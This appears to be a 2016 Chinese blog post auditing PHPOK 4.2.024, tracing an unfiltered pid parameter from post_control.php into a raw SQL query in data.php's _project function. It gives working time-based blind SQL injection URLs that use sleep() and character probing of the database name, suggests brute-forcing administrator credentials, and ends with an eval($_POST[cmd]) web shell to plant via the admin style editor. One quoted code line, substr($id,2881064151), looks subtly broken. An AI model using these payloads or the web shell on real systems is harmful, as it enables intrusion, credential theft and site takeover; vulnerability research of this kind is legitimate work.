判断是否启用缓存,启用后直读缓存信息

文件/framework/www/post_control.php 26-38行
function index_f()
{
$id = $this->get("id");
$pid = $this->get('pid');
if(!$id && !$pid)
{
error(P_Lang('未指定项目'),'','error');
}
$project_rs = $this->call->phpok('_project',array("phpok"=>$id,'pid'=>$pid));
if(!$project_rs || !$project_rs['module'])
{
error(P_Lang("项目不符合要求"),'','error');
}
id和pid传进来了,
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟进phpok
/framework/phpok_call.php

function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = '';
$content = '';
if($rs && is_string($rs)) parse_str($rs,$rs);
//判断是否启用缓存,启用后直读缓存信息
if($GLOBALS['app']->cache->status())
{
$cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
$content = $GLOBALS['app']->cache->read($cacheId);
}
if($content) return $content;
//判断是内置参数还是调用数据中心的数据
if(substr($id,0,1) != '_')
{
$call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
if(!$call_rs) return false;
if($call_rs['ext'])
{
$call_rs_ext = unserialize($call_rs['ext']);
unset($call_rs['ext'],$call_rs['id']);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
if(!$rs || !is_array($rs)) return false;
//arclist,文章列表
//arc,单篇文章信息
//cate,分类信息
//catelist,分类树
//project,项目信息
//sublist,子项目信息
//parent,父级项目信息
//plist,同级项目信息
//fields,字段表单
//user,会员
//userlist,会员列表
//total,文章总数
//cate_id,当前分类信息(不带项目,不生成链接)
//subcate,子分类信息,即当前分类下的子分类
$list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
$id = substr($id,2881064151);
//如果是arclist,且未定义is_list属性,则默认启用此属性
if($id == "arclist")
{
$rs["is_list"] = $rs["is_list"] == 'false' ? 0 : 1;
}
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array('type_id'=>$id));
}
$content = $this->load_call($call_rs);
if($content && $cacheId) $GLOBALS['app']->cache->write($cacheId,$content);
return $content;
}
就是调用一个函数
那看
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟_project这个函数
/framework/model/data.php 1118-1139
public function _project($id,$ext=false)
{
if($this->cdata['project'][$id])
{
$rs = $this->cdata['project'][$id];
}
else
{
$sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;
$rs = $this->db->get_one($sql);
//if(!$this->cdata['project'])
//echo $id.'---'.$rs;
$this->cdata['project'][$id] = $rs;
}
if(!$rs) return false;
if($ext)
{
$ext = $this->ext_all('project-'.$id);
if($ext) $rs = array_merge($ext,$rs);
}
return $rs;
}
id没有过滤,直接带入了sql。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41
这个pid是项目的id值,默认是41以上,包括41,也可以爬一下。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and sleep(5)
浏览器转5秒
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
这个语句应该晓得吧,database的第一个字符的asicc码为112则浏览器转5秒,反之直接返回页面。
然后扩展一下,_project这个函数有问题,我们可以全局搜索一下,还有哪里调用了_project然后再继续发掘漏洞
就不继续测试了,这里的修补方式就是对_project这个函数做过滤。
想搞出管理员的账号密码burp跑一下就可以了
后台getshell
风格管理
可以编辑这个php文件
插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?

posted @ 2016-12-26 17:54  韩国服务器-Time  阅读(463)  评论(0编辑  收藏  举报